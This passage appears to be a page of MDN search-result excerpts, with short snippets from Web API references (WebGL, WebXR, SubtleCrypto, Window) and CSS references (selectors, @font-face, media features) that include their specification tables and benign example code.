eight="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">staticrange</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor staticrange() creates a new staticrange object given the staticrangeinit dictionary specifying the default values for its properties.
... specifications specification status comment domthe definition of 'staticrange' in that specification.
... living standard static rangethe definition of 'staticrange' in that specification.
... editor's draft initial definition.
SubtleCrypto.deriveKey() - Web APIs
it takes as arguments some initial key material, the derivation algorithm to use, and the desired properties for the key to derive.
...otherwise it will be the initial key material for the derivation function: for example, for pbkdf2 it might be a password, imported as a cryptokey using subtlecrypto.importkey().
...2", salt: salt, "iterations": 100000, "hash": "sha-256" }, keymaterial, { "name": "aes-gcm", "length": 256}, true, [ "encrypt", "decrypt" ] ); return window.crypto.subtle.encrypt( { name: "aes-gcm", iv: iv }, key, plaintext ); } specifications specification status comment web cryptography apithe definition of 'subtlecrypto.derivekey()' in that specification.
... recommendation initial definition.
TrackDefault - Web APIs
the trackdefault interface provides a sourcebuffer with kind, label, and language information for tracks that do not contain this information in the initialization segments of a media chunk.
... trackdefault.language read only returns the default language to use when an initialization segment does not contain language information for a new track.
... trackdefault.label read only returns the default label to use when an initialization segment does not contain label information for a new track.
... trackdefault.kinds read only returns the default kinds used when an initialization segment does not contain kind information for a new track.
TrackEvent.track - Web APIs
WebAPITrackEventtrack
specifications specification status comment html living standardthe definition of 'trackevent.track' in that specification.
... living standard initial definition.
... html5the definition of 'trackevent.track' in that specification.
... recommendation initial definition.
URL - Web APIs
WebAPIURL
pathname a usvstring containing an initial '/' followed by the path of the url.
... const response = await fetch(new url('http://www.example.com/démonstration.html')); specifications specification status comment file apithe definition of 'url' in that specification.
... urlthe definition of 'api' in that specification.
... living standard initial definition (implements urlutils).
VisualViewport - Web APIs
visualviewport.pageleft read only returns the x coordinate of the visual viewport relative to the initial containing block origin of the top edge in css pixels.
... visualviewport.pagetop read only returns the y coordinate of the visual viewport relative to the initial containing block origin of the top edge in css pixels.
... specifications specification status comment visual viewport apithe definition of 'visualviewport' in that specification.
... draft initial definition.
WebGL2RenderingContext.createQuery() - Web APIs
the webgl2renderingcontext.createquery() method of the webgl 2 api creates and initializes webglquery objects, which provide ways to asynchronously query for information.
... var query = gl.createquery(); specifications specification status comment webgl 2.0the definition of 'createquery' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'glgenqueries' in that specification.
WebGL2RenderingContext.createSampler() - Web APIs
the webgl2renderingcontext.createsampler() method of the webgl 2 api creates and initializes webglsampler objects.
... var sampler = gl.createsampler(); specifications specification status comment webgl 2.0the definition of 'createsampler' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'glgensamplers' in that specification.
WebGL2RenderingContext.createTransformFeedback() - Web APIs
the webgl2renderingcontext.createtransformfeedback() method of the webgl 2 api creates and initializes webgltransformfeedback objects.
... var transformfeedback = gl.createtransformfeedback(); specifications specification status comment webgl 2.0the definition of 'createtransformfeedback' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glgentransformfeedbacks' in that specification.
WebGL2RenderingContext.createVertexArray() - Web APIs
the webgl2renderingcontext.createvertexarray() method of the webgl 2 api creates and initializes a webglvertexarrayobject object that represents a vertex array object (vao) pointing to vertex array data and which provides names for different sets of vertex data.
... specifications specification status comment webgl 2.0the definition of 'createvertexarray' in that specification.
... editor's draft initial definition.
... opengl es 3.0the definition of 'glgenvertexarrays' in that specification.
WebGL2RenderingContext.renderbufferStorageMultisample() - Web APIs
the webgl2renderingcontext.renderbufferstoragemultisample() method of the webgl 2 api returns creates and initializes a renderbuffer object's data store and allows specifying a number of samples to be used.
... examples gl.renderbufferstoragemultisample(gl.renderbuffer, 4, gl.rbga4, 256, 256); specifications specification status comment webgl 2.0the definition of 'glrenderbufferstoragemultisample' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glrenderbufferstoragemultisample' in that specification.
WebGLRenderingContext.blendEquation() - Web APIs
gl.getparameter(gl.blend_equation_rgb) === gl.func_add; // true gl.getparameter(gl.blend_equation_alpha) === gl.func_add; // true specifications specification status comment webgl 1.0the definition of 'blendequation' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glblendequation' in that specification.
... opengl es 3.0the definition of 'glblendequation' in that specification.
WebGLRenderingContext.blendEquationSeparate() - Web APIs
gl.getparameter(gl.blend_equation_rgb) === gl.func_add; // true gl.getparameter(gl.blend_equation_alpha) === gl.func_add; // true specifications specification status comment webgl 1.0the definition of 'blendequationseparate' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glblendequationseparate' in that specification.
... opengl es 3.0the definition of 'glblendequationseparate' in that specification.
WebGLRenderingContext.bufferSubData() - Web APIs
examples using buffersubdata var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, 1024, gl.static_draw); gl.buffersubdata(gl.array_buffer, 512, data); specifications specification status comment webgl 1.0the definition of 'buffersubdata' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glbuffersubdata' in that specification.
... opengl es 3.0the definition of 'glbuffersubdata' in that specification.
WebGLRenderingContext.compressedTexImage[23]D() - Web APIs
var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba_s3tc_dxt5_ext, 512, 512, 0, texturedata); gl.texparameteri(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); specifications specification status comment webgl 1.0the definition of 'compressedteximage2d' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glcompressedteximage2d' in that specification.
... opengl es 3.0the definition of 'glcompressedteximage2d' in that specification.
WebGLRenderingContext.compressedTexSubImage2D() - Web APIs
examples var ext = ( gl.getextension('webgl_compressed_texture_s3tc') || gl.getextension('moz_webgl_compressed_texture_s3tc') || gl.getextension('webkit_webgl_compressed_texture_s3tc') ); gl.compressedtexsubimage2d(gl.texture_2d, 0, 256, 256, 512, 512, ext.compressed_rgba_s3tc_dxt5_ext, texturedata); specifications specification status comment webgl 1.0the definition of 'compressedtexsubimage2d' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glcompressedtexsubimage2d' in that specification.
... opengl es 3.0the definition of 'glcompressedtexsubimage2d' in that specification.
WebGLRenderingContext.createBuffer() - Web APIs
the webglrenderingcontext.createbuffer() method of the webgl api creates and initializes a webglbuffer storing data such as vertices or colors.
... examples creating a buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); specifications specification status comment webgl 1.0the definition of 'createbuffer' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgenbuffers' in that specification.
WebGLRenderingContext.createFramebuffer() - Web APIs
the webglrenderingcontext.createframebuffer() method of the webgl api creates and initializes a webglframebuffer object.
... examples creating a frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var framebuffer = gl.createframebuffer(); specifications specification status comment webgl 1.0the definition of 'createframebuffer' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgenframebuffers' in that specification.
WebGLRenderingContext.createProgram() - Web APIs
the webglrenderingcontext.createprogram() method of the webgl api creates and initializes a webglprogram object.
... specifications specification status comment webgl 1.0the definition of 'createprogram' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glcreateprogram' in that specification.
WebGLRenderingContext.createRenderbuffer() - Web APIs
the webglrenderingcontext.createrenderbuffer() method of the webgl api creates and initializes a webglrenderbuffer object.
... examples creating a render buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var renderbuffer = gl.createrenderbuffer(); specifications specification status comment webgl 1.0the definition of 'createrenderbuffer' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgenrenderbuffers' in that specification.
WebGLRenderingContext.createTexture() - Web APIs
the webglrenderingcontext.createtexture() method of the webgl api creates and initializes a webgltexture object.
... creating a texture var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var texture = gl.createtexture(); specifications specification status comment webgl 1.0the definition of 'createtexture' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgentextures' in that specification.
WebGLRenderingContext.disable() - Web APIs
examples gl.disable(gl.dither); to check if a capability is disabled, use the webglrenderingcontext.isenabled() method: gl.isenabled(gl.dither); // false specifications specification status comment webgl 1.0the definition of 'disable' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'gldisable' in that specification.
... opengl es 3.0the definition of 'gldisable' in that specification.
WebGLRenderingContext.enable() - Web APIs
examples gl.enable(gl.dither); to check if a capability is enabled, use the webglrenderingcontext.isenabled() method: gl.isenabled(gl.dither); // true specifications specification status comment webgl 1.0the definition of 'enable' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glenable' in that specification.
... opengl es 3.0the definition of 'glenable' in that specification.
WebGLRenderingContext.framebufferRenderbuffer() - Web APIs
examples gl.framebufferrenderbuffer(gl.framebuffer, gl.color_attachment0, gl.renderbuffer, renderbuffer); specifications specification status comment webgl 1.0the definition of 'framebufferrenderbuffer' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glframebufferrenderbuffer' in that specification.
... opengl es 3.0the definition of 'glframebufferrenderbuffer' in that specification.
WebGLRenderingContext.framebufferTexture2D() - Web APIs
examples gl.framebuffertexture2d(gl.framebuffer, gl.color_attachment0, gl.texture_2d, texture, 0); specifications specification status comment webgl 1.0the definition of 'framebuffertexture2d' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glframebuffertexture2d' in that specification.
... opengl es 3.0the definition of 'glframebuffertexture2d' in that specification.
WebGLRenderingContext.generateMipmap() - Web APIs
examples gl.generatemipmap(gl.texture_2d); specifications specification status comment webgl 1.0the definition of 'generatemipmap' in that specification.
... recommendation initial definition for webgl.
... opengl es 2.0the definition of 'glgeneratemipmap' in that specification.
... opengl es 3.0the definition of 'glgeneratemipmap' in that specification.
WebGLRenderingContext.getParameter() - Web APIs
examples gl.getparameter(gl.dither); gl.getparameter(gl.version); gl.getparameter(gl.viewport); specifications specification status comment webgl 1.0the definition of 'getparameter' in that specification.
... recommendation initial definition.
... webgl 2.0the definition of 'getparameter' in that specification.
... opengl es 2.0the definition of 'glget' in that specification.
WebGLRenderingContext.getProgramInfoLog() - Web APIs
when a webglprogram object is initially created, its information log will be a string of length 0.
... examples checking program errors var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.getprograminfolog(program); specifications specification status comment webgl 1.0the definition of 'getprograminfolog' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgetprograminfolog' in that specification.
WebGLRenderingContext.getProgramParameter() - Web APIs
examples gl.getprogramparameter(program, gl.delete_status); specifications specification status comment webgl 1.0the definition of 'getprogramparameter' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgetprogramiv' in that specification.
... webgl 2.0the definition of 'getprogramparameter' in that specification.
WebGLRenderingContext.getShaderInfoLog() - Web APIs
when a webglshader object is initially created, its information log will be a string of length 0.
...*/ gl.compileshader(shader); var message = gl.getshaderinfolog(shader); if (message.length > 0) { /* message may be an error or a warning */ throw message; } specifications specification status comment webgl 1.0the definition of 'getshaderinfolog' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgetshaderinfolog' in that specification.
Starting up and shutting down a WebXR session - Web APIs
customizing the session in addition to the display mode, the requestsession() method can take an optional object with initialization parameters to customize the session.
... perform calculations for the initial position and scale of your objects as needed.
...we can get the initial reference space for the session by calling the xrsession's requestreferencespace() method.
...if that's so, you call getoffsetreferencespace() on the initial reference space to create a new reference space which offsets the coordinate system so that (0, 0, 0) is located at the position of the viewer, with the orientation likewise shifted to face in the desired direction.
WebXR Device API - Web APIs
the xrreferencespace coordinate system is expected to remain unchanged through the lifespan of the xrsession.the world has no boundaries and extends infinitely in every direction.
... xrboundedreferencespace xrboundedreferencespace extends the xrreferencespace coordinate system to further include support for a finite world with set boundaries.
...if the context was not initially created with the xrcompatible property set to true, you must call makexrcompatible() prior to attempting to use the webgl context for webxr rendering.
... specifications specification status comment webxr device api working draft initial definition.
Using the Web Animations API - Web APIs
here’s the simplified css that controls alice’s animation: #alice { animation: alicetumbling infinite 3s linear; } @keyframes alicetumbling { 0% { color: #000; transform: rotate(0) translate3d(-50%, -50%, 0); } 30% { color: #431236; } 100% { color: #000; transform: rotate(360deg) translate3d(-50%, -50%, 0); } } this changes alice’s color and her transform’s rotation over 3 seconds at a constant (linear) rate and loops infinitely.
... representing timing properties we’ll also need to create an object of timing properties (an animationeffecttimingproperties object) corresponding to the values in alice’s animation: var alicetiming = { duration: 3000, iterations: infinity } you’ll notice a few differences here from how equivalent values are represented in css: for one, the duration is in milliseconds as opposed to seconds — 3000 not 3s.
...for instance, web animations doesn't use the string "infinite", but instead uses the javascript keyword infinity.
...instead of making objects for keyframes and timing properties, we could just pass their values in directly, like so: document.getelementbyid("alice").animate( [ { transform: 'rotate(0) translate3d(-50%, -50%, 0)', color: '#000' }, { color: '#431236', offset: 0.3}, { transform: 'rotate(360deg) translate3d(-50%, -50%, 0)', color: '#000' } ], { duration: 3000, iterations: infinity } ); what’s more, if we only wanted to specify the duration of the animation and not its iterations (by default, animations iterate once), we could pass in the milliseconds alone: document.getelementbyid("alice").animate( [ { transform: 'rotate(0) translate3d(-50%, -50%, 0)', color: '#000' }, { color: '#431236', offset: 0.3}, { transform: 'rotate(360deg) translate3d(-50%, -50...
Using IIR filters - Web APIs
the iirfilternode interface of the web audio api is an audionode processor that implements a general infinite impulse response (iir) filter; this type of filter can be used to implement tone control devices and graphic equalizers, and the filter response parameters can be specified, so that it can be tuned as needed.
... an iir filter is a infinite impulse response filter.
...the other type is fir — finite impulse response filter.
... a biquad filter is actually a specific type of infinite impulse response filter.
window.location - Web APIs
WebAPIWindowlocation
location.assign("http://www.mozilla.org"); // or location = "http://www.mozilla.org"; example #2: force reloading the current page from the server location.reload(true); example #3 consider the following example, which will reload the page by using the replace() method to insert the value of location.pathname into the hash: function reloadpagewithhash() { var initialpage = location.pathname; location.replace('http://example.com/#' + initialpage); } example #4: display the properties of the current url in an alert dialog: function showloc() { var olocation = location, alog = ["property (typeof): value", "location (" + (typeof olocation) + "): " + olocation ]; for (var sprop in olocation){ alog.push(sprop + " (" + (typeof olocation[sprop]) + "): "...
...crolltop; _scrollx = document.documentelement.scrollleft; _bookmark = sbookmark; _usehash = busehash === true; _nodex = onode.offsetleft; _nodey = onode.offsettop; _itframe = 1; if (_scrollid === -1) { _scrollid = setinterval(_next, math.round(nduration / nframes)); } }; })(); specifications specification status comment html living standardthe definition of 'window.location' in that specification.
... html5the definition of 'window.location' in that specification.
... recommendation initial definition.
Window: pageshow event - Web APIs
this includes: initially loading the page navigating to the page from another page in the same window or tab restoring a frozen page on mobile oses returning to the page using the browser's forward or back buttons during the initial page load, the pageshow event fires after the load event.
...try loading new pages into this tab, then navigating forward and backward through history, noting the events’ output to the log.</p> results specifications specification status comment html living standardthe definition of 'pageshow' in that specification.
... living standard initial specification.
... html5the definition of 'pageshow' in that specification.
Window.requestAnimationFrame() - Web APIs
the element's final position is 200px (0.1 * 2000) to the right of its initial position.
... specification specification status comment html living standardthe definition of 'requestanimationframe' in that specification.
... timing control for script-based animationsthe definition of 'requestanimationframe' in that specification.
... obsolete initial definition ...
Window.self - Web APIs
WebAPIWindowself
ting in the active document of a browsing context, window is a reference to the current global object and thus all of the following are equivalent: var w1 = window; var w2 = self; var w3 = window.window; var w4 = window.self; // w1, w2, w3, w4 all strictly equal, but only w2 will function in workers specifications specification status comment html living standardthe definition of 'window.self' in that specification.
... living standard no difference from the latest snapshot html 5.1 html 5.1the definition of 'window.self' in that specification.
... recommendation no difference from the html5 html5the definition of 'window.self' in that specification.
... recommendation first snapshot containing the definition of window.self.
Window.window - Web APIs
WebAPIWindowwindow
specifications specification status comment html living standardthe definition of 'window.window' in that specification.
... living standard no difference from the latest snapshot html 5.1 html 5.1the definition of 'window.window' in that specification.
... recommendation no difference from the html5 html5the definition of 'window.window' in that specification.
... recommendation first snapshot containing the definition of window.window.
Window - Web APIs
WebAPIWindow
since firefox 57 (initially nightly-only), both versions are only available from chrome (privileged) code, and not available to the web anymore.
... copy fired when the user initiates a copy action through the browser's user interface.
... cut fired when the user initiates a cut action through the browser's user interface.
... paste fired when the user initiates a paste action through the browser's user interface.
XRInputSourcesChangeEvent() - Web APIs
syntax newinputsourceschangeevent = new xrinputsourceschangeevent(type, eventinitdict); parameters type a domstring indicating the type of event which has occurred.
... eventinitdict an object conforming to the xrinputsourceschangeeventinit dictionary, prodividing the initial values for the event.
... let iscevent = new xrinputsourceschangeevent("inputsourceschange", { session: xrsession, added: [newinputsource], removed: [] }); specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent()' in that specification.
... working draft initial definition.
XRReferenceSpace: reset event - Web APIs
the tracking system has temporarily lost the user, then regained them, but not until after they had moved enough to leave the immediate vicinity of the last-known position.
...nor will be be fired at an unbounded reference space as it makes small adjustments to its native origin over time to maintain the space's stability in the vicinity of the user; only large discontinuities will trigger a reset.
...u can use the addeventlistener() method: viewerrefspace.addeventlistener("reset", (event) => { /* perform reset related tasks */ }); the second option is to set the xrreferencespace object's onreset event handler property: viewerrefspace.onreset = (event) => { /* perform reset related tasks */ }; specifications specification status comment webxr device apithe definition of 'reset event' in that specification.
... working draft initial definition.
XRRigidTransform.position - Web APIs
example to create a reference space which can be used to place an object at eye level (assuming eye level is 1.5 meters): function onsessionstarted(xrsession) { xrsession.addeventlistener("end", onsessionended); gl = initgraphics(xrsession); let gllayer = new xrwebgllayer(xrsession, gl); xrsession.updaterenderstate({ baselayer: gllayer }); if (immersivesession) { xrsession.requestreferencespace("bounded-floor").then((refspace) => { refspacecreated(refspace); }).catch(() => { session.requestreferencespace("local-floor").then(refspacecreated); }); } else { session.requestreferen...
...that new reference space is used instead of the one initially received.
... specifications specification status comment webxr device apithe definition of 'xrrigidtransform.position' in that specification.
... working draft initial definition.
XRSession - Web APIs
WebAPIXRSession
updaterenderstate() updates the properties of the session's render state to match the values specified in the specified xrrenderstateinit dictionary.
... squeezestart an event of type xrinputsourceevent which is sent to the xrsession when the user initially squeezes a squeezable controller.
....framebuffer); for (xrview of viewer.views) { let xrviewport = xrwebgllayer.getviewport(xrview); gl.viewport(xrviewport.x, xrviewport.y, xrviewport.width, xrviewport.height); } }); }); }); } else { /* webxr is not available */ } specifications specification status comment webxr device apithe definition of 'xrsession' in that specification.
... working draft initial definition.
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
this information can be used when creating a new xrwebgllayer to configure the xrwebgllayerinit property framebufferscalefactor in the options specified when calling the xrwebgllayer() constructor.
...when the returned promise resolves, we proceed by calling xrwebgllayer's getnativeframebufferscalefactor() static function to get the scale factor needed to reach the native resolution, and we then pass that into the webgllayer() constructor as the value of the framebufferscalefactor property in its layerinit dictionary, which is an xrwebgllayerinit object.
... specifications specification status comment webxr device apithe definition of 'static xrwebgllayer.getnativeframebufferscalefactor()' in that specification.
... working draft initial definition.
ARIA Test Cases - Accessibility
the state of tristate checkboxes is not announced when initially focusing.
...es - - - - nvda - n/a - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - - radiogroup and radiobutton radio example using css background images radio example using img element radio example using aria-activedescendent property dojo nightly build expected at behavior: on initial focus, the screen reader should announce the label of the radio group and the focused radio button, whether it is selected or not, and its position.
... - - - - voiceover (leopard) n/a n/a - fail window-eyes - - - - nvda - n/a - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - - toolbar example to test aria live region and toolbar dojo nightly build expected at behavior: (mz) upon initial focus, if the toolbar has a label, screen reader should speak it, followed by the role and the label and role of the current toolbar item.
... upon initial focus, the label (if present), and role of the tree itself should be spoken, followed by the current tree item's information.
ARIA: feed role - Accessibility
a feed enables screen readers to use the browse mode reading cursor to both read and scroll through a stream of rich content that may continue scrolling infinitely by loading more content as the user reads.
...these streams can be limited or infinite, loading more content as the user scrolls.
...however, if the total number is extremely large, indefinite, or changes often, set aria-setsize="-1" to indicate that the size of the feed is not known.
... examples example implementation of feed pattern specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'feed' in that specification.
-webkit-line-clamp - CSS: Cascading Style Sheets
syntax /* keyword value */ -webkit-line-clamp: none; /* <integer> values */ -webkit-line-clamp: 3; -webkit-line-clamp: 10; /* global values */ -webkit-line-clamp: inherit; -webkit-line-clamp: initial; -webkit-line-clamp: unset; none this value specifies that the content wonʼt be clamped.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax none | <integer> examples truncating a paragraph html <p> in this example the <code>-webkit-line-clamp</code> property is set to <code>3</code>, which means the text is clamped after three lines.
...</p> css p { width: 300px; display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: 3; overflow: hidden; } result specifications specification status comment css overflow module level 3the definition of '-webkit-line-clamp' in that specification.
... working draft initial definition ...
-webkit-text-stroke-width - CSS: Cascading Style Sheets
syntax /* keyword values */ -webkit-text-stroke-width: thin; -webkit-text-stroke-width: medium; -webkit-text-stroke-width: thick; /* <length> values */ -webkit-text-stroke-width: 2px; -webkit-text-stroke-width: 0.1em; -webkit-text-stroke-width: 1mm; -webkit-text-stroke-width: 5pt; /* global values */ -webkit-text-stroke-width: inherit; -webkit-text-stroke-width: initial; -webkit-text-stroke-width: unset; values <line-width> the width of the stroke.
... formal definition initial value0applies toall elementsinheritedyescomputed valueabsolute <length>animation typediscrete formal syntax <length> examples varying stroke widths css p { margin: 0; font-size: 4em; -webkit-text-stroke-color: red; } #thin { -webkit-text-stroke-width: thin; } #medium { -webkit-text-stroke-width: 3px; } #thick { -webkit-text-stroke-width: 1.5mm; } html <p id="thin">thin stroke</p> <p id="medium">medium stroke</p> <p id="thick">thick stroke</p> results specifications specification status comment compatibility standardthe definition of '-webkit-text-stroke-width' in that specification.
... living standard initial standardization safari css reference '-webkit-text-stroke-width' in that document.
... non-standard unofficial documentation initial documentation ...
::before (:before) - CSS: Cascading Style Sheets
WebCSS::before
ple more minutes</li> <li>serve with your favorite topping</li> </ol> css li { padding:0.5em; } li[aria-current='step'] { font-weight:bold; } li[aria-current='step']::after { content: " \21e6"; /* hexadecimal for unicode leftwards white arrow*/ display: inline; } result specifications specification status comment css pseudo-elements level 4the definition of '::before' in that specification.
... selectors level 3the definition of '::before' in that specification.
... css level 2 (revision 1)the definition of '::before' in that specification.
... recommendation initial definition, using the one-colon syntax ...
:checked - CSS: Cascading Style Sheets
WebCSS:checked
specifications specification status comment html living standardthe definition of ':checked' in that specification.
... html5the definition of ':checked' in that specification.
... selectors level 4the definition of ':checked' in that specification.
... selectors level 3the definition of ':checked' in that specification.
:disabled - CSS: Cascading Style Sheets
WebCSS:disabled
ion togglebilling() { // select the billing text fields var billingitems = document.queryselectorall('#billing input[type="text"]'); // toggle the billing text fields for (var i = 0; i < billingitems.length; i++) { billingitems[i].disabled = !billingitems[i].disabled; } } result specifications specification status comment html living standardthe definition of ':disabled' in that specification.
... html5the definition of ':disabled' in that specification.
... selectors level 4the definition of ':disabled' in that specification.
... selectors level 3the definition of ':disabled' in that specification.
:enabled - CSS: Cascading Style Sheets
WebCSS:enabled
stfield" value="lorem"><br> <label for="secondfield">second field (disabled):</label> <input type="text" id="secondfield" value="ipsum" disabled="disabled"><br> <input type="button" value="submit"> </form> css input:enabled { color: #2b2; } input:disabled { color: #aaa; } result specifications specification status comment html living standardthe definition of ':enabled' in that specification.
... html5the definition of ':enabled' in that specification.
... selectors level 4the definition of ':enabled' in that specification.
... selectors level 3the definition of ':enabled' in that specification.
:first-child - CSS: Cascading Style Sheets
g: 5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:first-child { color: red; font-weight: bold; } result specifications specification status comment selectors level 4the definition of ':first-child' in that specification.
... selectors level 3the definition of ':first-child' in that specification.
... css level 2 (revision 1)the definition of ':first-child' in that specification.
... recommendation initial definition.
:invalid - CSS: Cascading Style Sheets
WebCSS:invalid
specifications specification status comment html living standardthe definition of ':invalid' in that specification.
... html5the definition of ':invalid' in that specification.
... selectors level 4the definition of ':invalid' in that specification.
... working draft initial definition.
:lang() - CSS: Cascading Style Sheets
WebCSS:lang
ch quote has a <q>nested</q> quote inside.</q></div> <div lang="de"><q>this german quote has a <q>nested</q> quote inside.</q></div> css :lang(en) > q { quotes: '\201c' '\201d' '\2018' '\2019'; } :lang(fr) > q { quotes: '« ' ' »'; } :lang(de) > q { quotes: '»' '«' '\2039' '\203a'; } result specifications specification status comment selectors level 4the definition of ':lang()' in that specification.
... selectors level 3the definition of ':lang()' in that specification.
... css level 2 (revision 1)the definition of ':lang()' in that specification.
... recommendation initial definition.
:valid - CSS: Cascading Style Sheets
WebCSS:valid
mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.1 | w3c understanding wcag 2.0 specifications specification status comment html living standardthe definition of ':valid' in that specification.
... html5the definition of ':valid' in that specification.
... selectors level 4the definition of ':valid' in that specification.
... working draft initial definition.
pad - CSS: Cascading Style Sheets
the pad descriptor can be used with custom counter style definitions when you need the marker representations to have a minimum length.
... formal definition related at-rule@counter-styleinitial value0 ""computed valueas specified formal syntax <integer> && <symbol>where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
... examples padding a counter html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style pad-example { system: numeric; symbols: "0" "1" "2" "3" "4" "5"; pad: 2 "0"; } .list { list-style: pad-example; } result specifications specification status comment css counter styles level 3the definition of 'pad' in that specification.
... candidate recommendation initial definition ...
font-style - CSS: Cascading Style Sheets
formal definition related at-rule@font-faceinitial valuenormalcomputed valueas specified formal syntax normal | italic | oblique <angle>{0,2} examples specifying an italic font style as an example, consider the garamond font family, in its normal form, we get the following result: @font-face { font-family: garamond; src: url('garamond.ttf'); } the italicized version of this text uses the same glyp...
... @font-face { font-family: garamond; src: url('garamond-italic.ttf'); font-style: italic; } specifications specification status comment css fonts module level 4the definition of 'font-style' in that specification.
... working draft adds oblique keyword with angle value css fonts module level 3the definition of 'font-style' in that specification.
... candidate recommendation initial definition ...
src - CSS: Cascading Style Sheets
WebCSS@font-facesrc
in the case of svg fonts, the url points to an element within a document containing svg font definitions.
... formal definition related at-rule@font-faceinitial valuen/a (required)computed valueas specified formal syntax [ <url> [ format( <string># ) ]?
...mily-name> ) ]#where <family-name> = <string> | <custom-ident>+ examples specifying font resources using url() and local() @font-face { font-family: examplefont; src: local(example font), url('examplefont.woff') format("woff"), url('examplefont.otf') format("opentype"); } specifications specification status comment css fonts module level 3the definition of 'src' in that specification.
... candidate recommendation initial definition ...
@font-face - CSS: Cascading Style Sheets
at font installed (two different names are tried), then the downloadable font named "mgopenmodernabold.ttf" is used instead: @font-face { font-family: myhelvetica; src: local("helvetica neue bold"), local("helveticaneue-bold"), url(mgopenmodernabold.ttf); font-weight: bold; } specifications specification status comment woff file format 2.0the definition of 'woff2 font format' in that specification.
... recommendation font format specification with new compression algorithm woff file format 1.0the definition of 'woff font format' in that specification.
... recommendation font format specification css fonts module level 3the definition of '@font-face' in that specification.
... candidate recommendation initial definition ...
prefers-color-scheme - CSS: Cascading Style Sheets
examples the elements below have an initial color theme.
... html <div class="day">day (initial)</div> <div class="day light-scheme">day (changes in light scheme)</div> <div class="day dark-scheme">day (changes in dark scheme)</div> <br> <div class="night">night (initial)</div> <div class="night light-scheme">night (changes in light scheme)</div> <div class="night dark-scheme">night (changes in dark scheme)</div> css .day { background: #eee; color: black; } .night { background: #333; color: white; } @media (prefers-color-scheme: dark) { .day.dark-scheme { background: #333; color: white; } .night.dark-scheme { background: black; color: #ddd; } } @media (prefers-color-scheme: light) { .day.light-scheme { background: white; color: #555; } .night.light-sche...
...me { background: #eee; color: black; } } .day, .night { display: inline-block; padding: 1em; width: 7em; height: 2em; vertical-align: middle; } result specifications specification status comment media queries level 5the definition of 'prefers-color-scheme' in that specification.
... editor's draft initial definition.
scripting - CSS: Cascading Style Sheets
WebCSS@mediascripting
initial-only scripting is enabled during the initial page load, but not afterwards.
...:-(</p> <p class="script-initial-only">your scripting is only enabled during the initial page load.
...:-)</p> css p { color: lightgray; } @media (scripting: none) { .script-none { color: red; } } @media (scripting: initial-only) { .script-initial-only { color: red; } } @media (scripting: enabled) { .script-enabled { color: red; } } result specifications specification status comment media queries level 5the definition of 'scripting' in that specification.
... editor's draft initial definition ...
@page - CSS: Cascading Style Sheets
WebCSS@page
:blank :first :left :right :recto :verso specifications specification status comment css logical properties and values level 1the definition of ':recto and :verso' in that specification.
... editor's draft adds the :recto and :verso page selectors css paged media module level 3the definition of '@page' in that specification.
... css level 2 (revision 1)the definition of '@page' in that specification.
... recommendation initial definition ...
height - CSS: Cascading Style Sheets
WebCSS@viewportheight
<percentage> a percentage value relative to the width or height of the initial viewport at zoom factor 1.0, for horizontal and vertical lengths respectively.
